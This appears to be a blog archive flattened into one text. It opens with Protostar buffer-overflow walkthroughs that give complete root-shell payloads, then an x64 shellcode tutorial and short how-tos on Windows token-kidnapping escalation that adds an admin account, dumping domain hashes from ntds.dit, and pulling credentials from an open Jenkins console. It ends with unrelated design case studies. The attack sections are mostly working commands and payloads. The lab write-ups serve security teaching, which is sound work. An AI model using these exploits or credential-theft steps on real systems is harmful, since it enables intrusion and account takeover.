Now we need to find `jmp esp` gadget. I'll be using [peda](https://github.com/longld/peda) as it more informative than standard `gdb` and has some other features.

I copied the executable file to my local machine to find offsets:

```
$ scp user@<ip>:/opt/protostar/bin/stack6 ./
```

From the command below we know that our stack has no NX bit set:

```
$ scanelf -e stack6
 TYPE   STK/REL/PTL FILE 
ET_EXEC **RWX** --- RW- stack6 
```

Additionally, you can install and run `exectack` program:

```
$ sudo apt install execstack
$ execstack stack6
X stack6
```

That means that we can execute code from the stack.

Now we run `gdb` and look for gadgets:

```
$ gdb stack6
...
gdb-peda$ dumprop 
Warning: this can be very slow, do not run for large memory range
Writing ROP gadgets to file: stack6-rop.txt ...
0x80484f9: ret
0x804835e: leave; ret
0x80484f7: dec ecx; ret
0x8048453: pop ebp; ret
0x8048480: ror cl,1; ret
0x8048512: in eax,0x5d; ret
0x804857b: sbb al,0x24; ret
0x804857a: mov ebx,[esp]; ret
...
0x80484f4: enter 0xfffe,0xff; leave; ret
0x8048576: pop esi; pop edi; pop ebp; ret
--More--(25/85)
```

We see that there is no `jmp esp` gadget, but the first one is `ret`, and it looks promising. It is not on the stack and it will jump to the next address on the stack. If you use it, then our exploit should look like `JUNK + ADDR_OF_GADGET + ADDR_OF_SHELLCODE + SHELLCODE`.

The address of the gadget `ret` is `0x80484f9`

Now we find offset before `eip` like we did for stack5:

```
$ /usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 200
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag
$ echo -n "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag" > /tmp/exploit.txt
$ gdb stack6
...
(gdb) r < /tmp/exploit.txt 
Starting program: /opt/protostar/bin/stack6 < /tmp/exploit.txt
input path please: got path Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0A6Ac72Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag

Program received signal SIGSEGV, Segmentation fault.
**0x37634136** in ?? ()
$ /usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -q **0x37634136**
[*] Exact match at offset **80**
```

So we need to rewrite 80 bytes. Now we can create our shellcode:

```
python -c "print 'A'*80 + '\xf9\x84\x04\x08' + 'AAAA' + '\x31\xc0\x31\xdb\xb0\x06\xcd\x80\x53\x68/tty\x68/dev\x89\xe3\x31\xc9\x66\xb9\x12\x27\xb0\x05\xcd\x80\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80'" > /tmp/exploit.txt
```

Addresses in debugger might distiguish beacuse of environment variables. So we need to unset unneeded variables and run the program:

```
(gdb) show env
LINES=42
COLUMNS=71
(gdb) unset env LINES   
(gdb) unset env COLUMNS
(gdb) r < /tmp/exploit.txt 
Starting program: /opt/protostar/bin/stack6 < /tmp/exploit.txt
input path please: got path AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA��AAAAAAAAAAAA��AAAA1�1۰̀Sh/ttyh/dev��1�f�'�̀1�Ph//shh/bin��PS�ᙰ


Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()
(gdb) x/1x $esp
0xbffffbe4:    0xdb31c031
```

So the shellcode is at `0xbffffbe4`. Repalce `AAAA` with this address. Don't forget we are on little-endian machine:

```
python -c "print 'A'*80 + '\xf9\x84\x04\x08' + '\xe4\xfb\xff\xbf' + '\x31\xc0\x31\xdb\xb0\x06\xcd\x80\x53\x68/tty\x68/dev\x89\xe3\x31\xc9\x66\xb9\x12\x27\xb0\x05\xcd\x80\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80'" > /tmp/exploit.txt
```

Run program with `exploit.txt` as input and get root:

```
$ /opt/protostar/bin/stack6 < /tmp/exploit.txt
input path please: got path AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA��AAAAAAAAAAAA������1�1۰̀Sh/ttyh/dev��1�f�'�̀1�Ph//shh/bin��PS�ᙰ

# id
uid=1001(user) gid=1001(user) euid=0(root) groups=0(root),1001(user)
```

Also you can run exploit like this:

```
(python -c "print 'A'*80 + '\xf9\x84\x04\x08' + '\xe4\xfb\xff\xbf' + '\x31\xc0\x31\xdb\xb0\x06\xcd\x80\x53\x68/tty\x68/dev\x89\xe3\x31\xc9\x66\xb9\x12\x27\xb0\x05\xcd\x80\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80'"; cat;) | /opt/protostar/bin/stack6
```

Exploit Exercises — Protostar Stack 6


The first four levels of [protostar](https://exploit-exercises.com/protostar/) were pretty straightforward and real bufferoverflows starts with the 5th. This is a description of how I completed it.

We have the following code:

```
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

int main(int argc, char **argv)
{
  char buffer[64];

  gets(buffer);
}
```

It creates a buffer and reads into it using `gets`. There's a buffer overflow vulnerability here, because boundaries are not checked during reading into `buffer`.

We begin exploitation by finding an offset to `eip`. I used a script that generates a unique string, which we then pass to the executable:

```
$ /usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 200
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag
```

Now we generate a simple `pattern.txt` file, containing generated pattern:

```
$ echo -n "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag" > /tmp/pattern.txt
```

Then we run `stack5` in `gdb` and use `pattern.txt` as input:

```
$ gdb stack5
...
(gdb) r < /tmp/pattern.txt 
Starting program: /opt/protostar/bin/stack5 < /tmp/pattern.txt

Program received signal SIGSEGV, Segmentation fault.
0x63413563 in ?? ()
```

It should segfault at `0x63413563`. Now we search for these bytes in the pattern:

```
# /usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -q 0x63413563
[*] Exact match at offset 76
```

The output above means that we need to rewrite 76 bytes before rewriting `eip`.

Now we generate our test exploit, which looks like `JUNK + RET + NOPS + SHELLCODE`:

```
$ python -c "print 'A'*76 + 'BBBB' + '\x90'*10 + 'SHELLCODE'" > /tmp/exploit.txt
```

We can see that our nops and SHELLCODE string are at `0xbffff6a0`

```
(gdb) r < /tmp/exploit.txt 
Starting program: /opt/protostar/bin/stack5 < /tmp/exploit.txt

Program received signal SIGSEGV, Segmentation fault.
0x42424242 in ?? ()
(gdb) x/20x $esp
0xbffff6a0:	0x9090	0x9090	0x9090	0x9090	0x9090	0x4853	0x4c45	0x434c
0xbffff6b0:	0x444f	0x0045	0xffff	0xffff	0xeff4	0xb7ff	0x8232	0x0804
0xbffff6c0:	0x0001	0x0000	0xf700	0xbfff
```

I tried using shellcodes I found on [shellstorm](shell-storm.org/shellcode/). It crashed at the point where it tried to read input. My guess is that bash/dash checks for this and just silently exits when something is wrong with stdin. So I used a shellcode from [here](https://www.exploit-db.com/exploits/13357/). It reopens `stdin`, so it should work fine.

So we modify `exploit.txt` file with the correct return address and the shellcode. 

```
$ python -c "print 'A'*76 + '\xa0\xf6\xff\xbf' + '\x90'*10 + '\x31\xc0\x31\xdb\xb0\x06\xcd\x80\x53\x68/tty\x68/dev\x89\xe3\x31\xc9\x66\xb9\x12\x27\xb0\x05\xcd\x80\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80'" > /tmp/exploit.txt
```

After running `stack5` with `exploit.txt` as input inside `gdb` we fall into `sh`:

```
(gdb) r < /tmp/exploit.txt 
Starting program: /opt/protostar/bin/stack5 < /tmp/exploit.txt
Executing new program: /bin/dash
$
```

The exploit worked in `gdb`, but when I tried to run it from my console it gave me segfault:

```
$ /opt/protostar/bin/stack5 < /tmp/exploit.txt
Segmentation fault
```

After a while, I found out that addresses inside and outside of gdb are different. In particular, the stack addresses in the debugger may not match the addresses during normal execution. This artifact occurs because the operating system loader places both environment variables and program arguments *before* the beginning of the stack:

![](https://i.stack.imgur.com/N4rzh.png) 

For example if we look at variables loaded in `gdb` we see some artifacts:

```
(gdb) show env
LC_PAPER=en_GB.UTF-8
LC_ADDRESS=en_GB.UTF-8
LC_MONETARY=en_GB.UTF-8
SHELL=/bin/sh
---CUT OUT---
LC_CTYPE=en_US.UTF-8
LC_TIME=en_GB.UTF-8
LC_NAME=en_GB.UTF-8
OLDPWD=/home/user/peda
_=/usr/bin/gdb
LINES=24
COLUMNS=106
```

At the end, we can see two variable which is not common for normal execution. To match stacks, I just unset them using the following commands:

```
(gdb) unset env LINES
(gdb) unset env COLUMNS
(gdb) show env
LC_PAPER=en_GB.UTF-8
LC_ADDRESS=en_GB.UTF-8
LC_MONETARY=en_GB.UTF-8
SHELL=/bin/sh
---CUT OUT---
LC_CTYPE=en_US.UTF-8
LC_TIME=en_GB.UTF-8
LC_NAME=en_GB.UTF-8
OLDPWD=/home/user/peda
_=/usr/bin/gdb
```

Now if we run our program in `gdb` we got error like the previous one. It says we had wrong return address:

```
(gdb) r < /tmp/exploit.txt 
Starting program: /opt/protostar/bin/stack5 < /tmp/exploit.txt

Program received signal SIGSEGV, Segmentation fault.
0xbffff6bc in ?? ()
```

Now we needed to find the correct return address again. We generate new `exploit.txt` with `BBBB` instead of return address:

```
$ python -c "print 'A'*76 + 'BBBB' + '\x90'*10 + '\x31\xc0\x31\xdb\xb0\x06\xcd\x80\x53\x68/tty\x68/dev\x89\xe3\x31\xc9\x66\xb9\x12\x27\xb0\x05\xcd\x80\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80'" > /tmp/exploit.txt
```

Don't forget to unset these environment variables:

```
(gdb) unset env LINES
(gdb) unset env COLUMNS
```

Run `stack5` with our `exploit.txt` file and examine stack after the program crashes:

```
(gdb) r < /tmp/exploit.txt 
Starting program: /opt/protostar/bin/stack5 < /tmp/exploit.txt

Program received signal SIGSEGV, Segmentation fault.
0x42424242 in ?? ()
(gdb) x/10x $esp
0xbffff6c0:	0x90909090	0x90909090	0xc0319090	0x06b0db31
0xbffff6d0:	0x685380cd	0x7974742f	0x65642f68	0x31e38976
0xbffff6e0:	0x12b966c9	0xcd05b027
```

Our shellcode (which has nops at the beginning) starts at `0xbffff6c0` Thus this address is a return address we need.

There's a difference between calling `./stac5k` and `/path/to/stack5`: since `argv[0]` holds the program exactly how you invoked it, you need to ensure equal invocation strings. `gdb` uses absolute pathes for calling programs. That's why you need to use `/path/to/stack`.

Now we can run our exploit:

```
$ (python -c "print 'A'*76 + '\xc0\xf6\xff\xbf' + '\x90'*10 + '\x31\xc0\x31\xdb\xb0\x06\xcd\x80\x53\x68/tty\x68/dev\x89\xe3\x31\xc9\x66\xb9\x12\x27\xb0\x05\xcd\x80\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80'";cat;) | /opt/protostar/bin/stack5
id
uid=1001(user) gid=1001(user) euid=0(root) groups=0(root),1001(user)
whoami
root
```





Exploit Exercises — Protostar Stack 5


To compile the shellcode, we need the compiler and linker. We will use `nasm` and `ld`. To test the shellcode, we will write a small program in C. To compile it we need a `gcc`. For some tests, we need `rasm2`, which is a part of the framework [radare2](http://radare.today/). For the writing of auxiliary functions, we will use Python.

What’s new in x64?
------------------

x64 is an extension of Intel IA-32 architecture. The main distinguishing feature of this architecture is that it supports the 64-bit general-purpose registers, 64-bit arithmetic and logic operations on integers and 64-bit virtual addresses.

All the 32-bit general-purpose registers remain the same, but they also receive their extended versions: `rax`, `rbx`, `rcx`, `rdx`, `rsi`, `rdi`, `rbp`, `rsp` . In addition to these, there are several new general-purpose registers: `r8`, `r9`, `r10`, `r11`, `r12`, `r13`, `r14`, `r15`.

Since the addresses are now 64-bit, values on the stack may be 8 bytes long.

A new calling convention was introduced with 64-bit architecture. When you call the function each register is used for a specific purpose, namely:

*   The first six integer arguments are passed via registers function `rdi`, `rsi`, `rdx`, `rcx`, `r8` and `r9`;
*   The rest of the parameters are passed through the stack;
*   For the parameters passed in registers, the space is reserved on the stack;
*   The result of the function is returned through register `rax` for integer types;
*   `rbp` contains a pointer to the base of the stack;
*   `rsp` contains a pointer to the top of the stack;
*   `rsi`, `rdi` used `syscall`.

What is syscall
---------------

Syscall is a method that is used by user-mode code to interact with a Linux kernel. It is used for various tasks: IO operation, read/write files, opening/closing programs, working with memory and network, and so on. To perform syscall you need to:

1.  Download the appropriate function in the register `rax`;
2.  Load the input parameters in other registers;
3.  Call interruption with the number `0x80` (since kernel version 2.6, this is done just by calling `syscall`).

Unlike Windows where you need to find the address of the required functions, in Linux everything is much simpler.

Syscall functions can be found [here](https://filippo.io/linux-syscall-table/).

What is execve?
---------------

If you look at shellcodes [here](http://shell-storm.org/shellcode/), you’ll see many of them use the function `execve()`.

`execve()` has the following prototype:

    int execve(const char * filename, char * const argv[], char * const envp[]);
    

It calls the program `filename`. `filename` program can either be an executable binary or script that begins with the line `#! interpreter [optional-arg]`.

`argv[]` is a pointer to the array, and this is the `argv []`, which we see in C, Python, etc.

`envp[]` is a pointer to the array, describing the environment. In this case, not used, it will be set to `null`.

Basic requirements
------------------

We are going to write a position-independent code so that our shellcode could run anywhere in the program. [Position-independent code](https://en.wikipedia.org/wiki/Position-independent_code) is a code that can be executed regardless of what address it is loaded on.

Shellcodes use functions like `strcpy()`. These functions use the bytes `0x00`, `0x0A`, `0x0D` as separators (depending on the platform and a function). Therefore, it is better to avoid such values. Otherwise, a function can copy our shellcode incompletely. Consider the following example:

    rasm2 -a x86 -b 64 'push 0x00'
    6a00
    

As you can see, the code `push 0x00` compiled into the following bytes `6a 00`. If we used this code, our shellcode would not have worked because function `strcpy` would only copy bytes until `0x00`.

The shellcode can not use hardcoded addresses because we do not know these addresses in advance. For this reason, all addresses in the shellcode are obtained dynamically and stored on the stack.

Combining it all
----------------

The first step is to prepare options for the function `execve()` and then properly arrange them on the stack. The function prototype will be:

    execve("/bin/sh/", ["/bin/sh"], null);
    

The second parameter is an array of `argv[]`. The first element of the array contains the path to the executable file.

The third parameter is the information about the environment, we do not need it, so it will be `null`.

First, we obtain a zero byte. We can not use code like `mov eax, 0x00`, because it leads to a null-byte code, so we use the following statement, which does the same thing:

    xor rdx, rdx
    

We cab leave the value in register `rdx`, since we need the null value as the end value of the third parameter and as a string terminator (null byte).

To invert the string and translates it to hex you can use this python function:

    def rev_str(s):
        rev = s[:: - 1]
        return rev.encode("hex")
    

Call this function to `/bin/sh`:

    >>> rev.rev_str("/bin/sh")
    '68732f6e69622f'
    

This string is 7 bytes long. Now, consider what would happen if we tried to put it into the stack:

    rasm2 -a x86 -b 64 'mov rax, 68732f6e69622f; push rax'
    48b82f62696e2f73680050
    

There is a zero byte that would break our shellcode. To avoid this, we can use the fact that Linux ignores successive slashes (e.g. `/bin/sh` and`/bin//sh` are the same thing).

    >>> rev.rev_str("/bin//sh")
    '68732f2f6e69622f'
    

Now, we have a string of 8 bytes. Let’s see what happens if we put it in the stack:

    rasm2 -a x86 -b 64 'mov rax, 0x68732f2f6e69622f; push rax'
    48b82f62696e2f2f736850
    

No zero bytes.

Then [we look for](https://filippo.io/linux-syscall-table/) information about the function `execve()`. We need a function number that we put in the `rax`. `execve` has a number 59. Let’s see what registers are used by this function:

*   `rdi` - stores the address of the string `filename`;
*   `rsi` - stores the address of the string `argv`;
*   `rdx` - stores the address of the string `envp`.

Now, we assemble all the pieces together.

Push newline character (remember that all is done in reverse order):

    xor rdx, rdx
    push rdx
    

Push line `/bin//sh`:

    mov rax, 0x68732f2f6e69622f
    push rax
    

We get the address of the string `/bin//sh` from `rsp` and immediately put it in `rdi`:

    mov rdi, rsp
    

The `rsi` needs to contain a pointer to an array of strings. In our case, this array will contain only the path to the executable file, so it is enough to put the address that contains the address of the string (in C language, pointer to a pointer). We already have this address. It was saved in the register `rdi`. The array must be terminated by `argv` null-byte, which we stored in the register `rdx`. So we can do:

    push rdx
    push rdi
    mov rsi, rsp
    

Now `rsi` indicates the address on the stack, which is a pointer to the string `/bin//sh`.

Now we put the number of function `execve()` in `rax`:

    xor rax, rax
    mov al, 0x3b
    

We should have a file like this:

    ; runs /bin/sh
    
    section .text
        global _start
    
    _start:
    
        xor rdx, rdx
        push rdx
        mov rax, 0x68732f2f6e69622f
        push rax
        mov rdi, rsp
        push rdx
        push rdi
        mov rsi, rsp
        xor rax, rax
        mov al, 0x3b
        syscall
    

Let’s compile and link it for x64. For this:

    nasm -f elf64 example.asm
    ld -m elf_x86_64 -s -o example example.o
    

Now, we can use `objdump -d example` to see the resulting file:

    Disassembly of section .text:
    0000000000400080 <.text>: 
    400080: 48 31 d2 xor %rdx, %rdx 
    400083: 52 push %rdx 
    400084: 48 b8 2f 62 69 6e 2f movabs $0x68732f2f6e69622f, %rax 
    40008b: 2f 73 68 40008e: 50 push %rax 
    40008f: 48 89 e7 mov %rsp, %rdi 
    400092: 52 push %rdx 
    400093: 57 push %rdi 
    400094: 48 89 e6 mov %rsp, %rsi 
    400097: 48 31 c0 xor %rax, %rax 
    40009a: b0 3b mov $0x3b, %al 
    40009c: 0f 05 syscall
    

We can use the following Bash one-liner to get a shellcode like `\x11\x22 ...` from the binary:

    for i in `objdump -d example | tr '\t' '' | tr '' '\n' | egrep '^[0-9a-f]{2}$' '; do echo -n "\x $ i"; done
    

The result is:

    \x48\x31\xd2\x52\x48\xb8\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x50
    \x48\x89\xe7\x52\x57\x48\x89\xe6\x48\x31\xc0\xb0\x3b\x0f\x05
    

Testing shellcode
-----------------

We can use the following C program (replace the string `SHELLCODE` with your shellcode) to test the shellcode,:

    /* Shellcode test program */
    char shellcode[] = "SHELLCODE";
    int main () { 
        void(*f)() = (void(*)())shellcode; f(); return 0;
    }
    

Then compile:

    gcc -m64 -fno-stack-protector -z execstack -o shellcode_test shellcode_test.c
    

The resulting program is `shellcode_test`. When you run the program, you should get `sh`.

Writing Shellcode for Linux x64


If you have access to a server as `nt authority\network service` (for example you uploaded ASP.NET shell) you can easily elevate your privileges to system.

You can download the binary [here](https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/6705.zip) and compile it yourself, or you can use the one from `sqlninja`, which is located at `/usr/share/sqlninja/apps/churrasco.exe`. It is used by `sqlninja` in cases when we bruteforce `sa` password.

After uploading this binary to the server, you can  elevate your privileges by using this command:

    churrasco.bin "net user oscp oscp /add && net localgroup Administrators oscp /add"

Then you can create admin account.

![](/media/token-kidnapping.png)

You can read about this vulnerability on Microsoft [website](https://technet.microsoft.com/library/security/ms09-012).

> This security update is rated Important for all supported editions of Microsoft Windows 2000, Windows XP, Windows Server 2003, Windows Vista, and Windows Server 2008.


Windows Privelege Escalation via Token Kidnapping


There are two ways to get hashes from a remote server:

* You can inject some malicious code into `lsass.exe` process and then go through process memory to get hashes;
* You can get the database with which `lsass.exe` syncs and get hashes from it.

This post is about the second option.

User current password hashes as well as old password hashes are stored in `ntds.dit` file. This file is located at `C:\Windows\NTDS` by default (sometimes not). 

File `ntds.dit` is a database file. A part of it (the most frequently used) is in the memory. `lsass.exe` can request this file if it needs to. If there are some changes, for example a password changed, `lsass.exe` pushes the changes into a log file, and then this file is copied into `ntds.dit`.

File `ntds.dit` consists of three tables and stores information about domain users. The file is locked by the operating system. To access it, we need to create a shadow copy of `C:` volume first. To do so we can use a standard windows utility — Volume Shadow Copy Service or VSS that is used for backups:

    vssadmin.exe create shadow /for=C:

It will create a copy of volume `C:`. It is not locked so we can access files on it. Then we need to copy two files:

    copy \\?\GLOBALROOT\Device\Harddisk...Copy1\Windows\NTDS\ntds.dit C:\
    copy \\?\GLOBALROOT\Device\Harddisk...Copy1\Windows\system32\config\system

![](/media/ntds.png)

In order to decrypt hashes from `ntds.dit` we need to do the following:

1. Decrypt the PEK with `bootkey` (RC4);
2. First round of hash decryption (with PEK and RC4);
3. Second round of hash decryption (DES) 

PEK is used to encrypt data in `ntds.dit`. This key is the same within a whole domain so it's the same on every domain controller. PEK is stored in `ntds.dit` and encrypted by `bootkey`. `bootkey` can be collected from SYSTEM registry hive and it is different on all domain controllers.

I used `secretdump.py`, which is a part of `impacket`, to extract hashes automatically:

    secretsdump.py -system system -ntds ntds.dit LOCAL -outputfile dump

If you want to dump password history use `-history` flag.

It is slow in the beginning, but eventually we will get three dump files: the files with plain text passwords, the file with NT/LM hashes and the file with Kerberos hashes.

*`aad3b435b51404eeaad3b435b51404ee` in a column of the NTLM file indicates that there's no LM hash and there's only NTLM hash.*


Getting Password Hashes from Domain Controller


Jenkins is a Continuous Integration server. Continuous Integration is the practice of running tests on a non-developer machine automatically every time someone pushes new code into the source repository.


Sometimes you can find Jenkins that is not password protected. This is dangerous because Jenkin instances have `/script` endpoing. This endpoint contains a textbox where you can paste a Groovy script. Groovy is a kind of a scripting language for Java.

![](/media/jenkins-script.png)


Using the following Groovy code, you can get a list of files in `/` directory:

```
def sout = new StringBuffer(), serr = new StringBuffer()
def proc = 'ls'.execute()
proc.consumeProcessOutput(sout, serr)
proc.waitForOrKill(1000)
println "$sout"
```

You can read `/etc/passwd` to find `jenkins` home directory. In most cases it is `/var/lib/jenkins/`.

There are 3 important files in Jenkins:

```
├── credentials.xml
├── secret.key
├── secret.key.not-so-secret
├── secrets
│   ├── hudson.util.Secret
│   └── master.key
...
```

Jenkins stores user credentials in `credentials.xml` encrypted. File `master.key` is used to encrypt `hudson.util.Secret` key, which in turn encrypts passwords in `credentials.xml`. Read about how it works [here](https://github.com/jenkinsci/credentials-plugin).

You can use `/userContent` endpoint to get these files from the server. This endpoint in linked to `/var/lib/jenkins/`. For decryption, use [this](https://github.com/tweksteen/jenkins-decrypt) script.


Getting Credentials from Unprotected Jenkins


This is not a full guide. This is a small addition to _“Writing JIT shellcode for fun and profit”_ article written by Alexey Sintsov. If you want to know how it works, it is better to start from there. It has complete description and you should be able to follow it step by step.

Environment
-----------

*   Windows XP SP3 or Windows 7 SP1
*   IE 8.0
*   Adobe FlashPlayer ActiveX 9
*   SWFTools to compile ActiveScript code.
*   emsmtp.dll 6.0.1 in the Quiksoft EasyMail SMTP Object (to find vulnerable version of this library was the hardest part :)

Description
-----------

First, we need find address of the function we are going to call later. In my case it’s _system()_. To find it we look at pep and get address of a loaded dll with this function, then we look for _system()_ and get its address. After that, we can push vars (name of the function to be called). In my case, it was ‘notepad’. The stack was like:

    push "eton"
    push "dap"

We should use an exploit to run our _ActiveX_. I used vulnerability in `emsmtp.dll`. Make sure that version of the library you have is 6.0.1. We rewrite a return address or (in my case I rewrote _SEH_ because it was easier for me).

However it didn’t work first. The main problem was that the address of the memory where we are supposed to jump was wrong. I needed to use [mona](https://github.com/corelan/mona) — an extension for Immunity Debugger.

There’re also these useful commands:

*   `!mona pc 14356`
*   `!mona findmsp`
*   `!mona find -s "123"`

Working exploit you can find in my [repo](https://github.com/simonuvarov/jit-spray-example).

Writing JIT-spray Exploit


Cross-device information sharing can be challenging. The most common use case is sharing files between devices, e.g. when you need to quckly send a photo of your dog to post on Slack.

Existing solutions, such as Dropbox and Google Drive, are primarily used for file storage rather than sharing. Applications specifically designed for sharing, like WeTransfer and Mega, can be too complicated when trying to quickly send a file from one device to another.

A chat-based approach could be more effective for use cases where files are only needed for a limited time period.

<figure class='wide'>
    <img src="/media/untitled-app/screens.png" />
</figure>


Exploring how to make cross-device file sharing easier.

Untitled App


As I prepared for the <dfn><abbr title='International English Language Testing System'>IELTS</abbr></dfn> exam, I encountered several challenges while preparing for the writing portion of the test. The main issues were the lack of fast feedback and the need to use many tools to check your essays. I wanted to solve these problems by creating a web application that would provide faster and cheaper feedback and help people prepare for the exam using fewer tools.


<details>
<summary>Read more about the initial problem statement</summary>

The writing part is generally considered the most challenging. The whole process of coming home from work or school, sitting down, and writing an essay is tedious. Every additional step in the process makes it even more difficult.

A typical writing process was something like this:
1. You need to find a question. They must be reliable, well written, and resemble the questions you will get in the exam;
2. You need to write an essay. You also need to ensure that you have disabled the grammar checker. Otherwise, you will get distracted by grammar mistakes and will not be able to focus on the content;
3. You need to use a timer;
4. You need to check the word count;
5. You need to check grammar and spelling;
6. You need a thesaurus to find synonyms for simple words;
7. You need to go through a checklist to ensure you caught the most common mistakes.

Another issue was that checking essays with a teacher is costly and takes a lot of time. So students usually do 80% of the preparation on their own and use paid help only at the end of their preparation.

People organized a few online groups for exam takers. I was a member of several such groups. One group focused specifically on the writing portion of the exam. They used a large Google Docs file to share essays for review. 

The main problem with this approach was that there were few incentives for people to read and provide feedback on others' essays. Most essays were left unchecked. 

</details>

<video controls class='wide' preload='auto'>
    <source src="/media/essay-assistant/live.mp4" type="video/mp4">
</video>

## Problem Research

I conducted interviews with people preparing for an exam to gather information on their past and present experiences, and the tools they used to self-check their essays. I also collected feedback from teachers on essays and analyzed a collection of almost 100 already checked essays to understand common mistakes. Additionally, I reviewed various online resources such as grammar and essay checkers, thesauruses, and online courses and self-study guides to identify helpful tools and strategies for effective essay writing.

<figure class=''>
    <img src="/media/essay-assistant/insights.png" />
</figure>

Based on this research, I decided that I would focus on solving the following problems first:
- Ensuring that grammar checker is tailored to the exam;
- Replacing self-checklists with programmatic checks;
- Providing faster feedback on essays;
- Providing some guidance for people who are not familiar with the exam.

After that, I wrote down requirements and constraints.

<figure>
    <img src="/media/essay-assistant/requirements.png" />

</figure>

## Explorations

Then I moved to exploring the overall design and core components: navigation, cards, layout, colors and interactions.

I researched similar apps such as online and offline text editors, grammar checkers, online essay checkers, Dribbble, book readers, and apps that allowed leaving comments anywhere. 

<figure class="wide">
    <img src="/media/essay-assistant/research.png">
    <figcaption>Research board</figcaption>
</figure>

## Making Decisions

Thinking about requirements and constraints in advance significantly reduced the number of design decisions I needed to make during the design process.

For instance, decision such as what color to use for the sidebar was easy to make because it followed that the sidebar should be light-gray to improve readability on low-resolution monitors.

<figure class="wide">
    <img src="/media/essay-assistant/cards.png">
    <figcaption>Card layout and color exploration</figcaption>
</figure>

## Design

As I worked on the design, I explored a variety of options for different elements of the interface. This was an ongoing process, as I constantly evaluated and refined my choices based on their effectiveness and overall aesthetic. Through this process, I arrived at a final design that met my requirements.

For a moment, let's consider the main screen of the app — the editor. It consists of a text area for the essay and a sidebar. Let's take a look at the sidebar.

In the sidebar, there is a list of check cards, which were initially shown on a white background. However, after testing this design on a low-resolution monitor, I found that the cards were difficult to see on a white background, and changed the background color to light gray ➀. 

In the collapsed form, cards only show a header and one line of description ➁. This provides more space for other cards and at the same time, the meaning remains clear. Each card is color coded to reflect the exam scoring system ➂. Each card can be clicked to expand and show the check results, with the option to include a link to a more detailed explanation of the check ➃.

<figure class="wide max-w-4xl">
    <img src="/media/essay-assistant/issue-cards.png">
</figure>

One aspect of the UX design that I particularly liked was the way that underlined text interacted with the corresponding check card. Clicking on an underlined check scrolls the sidebar to the related card, and clicking on a check card scrolls the text to the underlined text. This feature helps users easily connect checks with the corresponding text.

Another key feature of the app is the ability to apply suggestions without manually copying them. For instance, when a grammar check produces a suggestion, users can simply click a button to apply it, making the correction process more efficient. This feature enhances the user experience by making it easier and faster to fix mistakes.

Besides the editor, I also designed other app screens, including the sign-in, sign-up, password reset, and dashboard screens, landing page as well as all the transactional emails that the app sends.

<figure class="wide">
    <img src="/media/essay-assistant/landing.png">
    <figcaption>Landing page design</figcaption>
</figure>

<figure class="wide">
    <img src="/media/essay-assistant/editor-without-sidebar.png" />
    <img src="/media/essay-assistant/editor-with-sidebar.png" >
</figure>


## Results

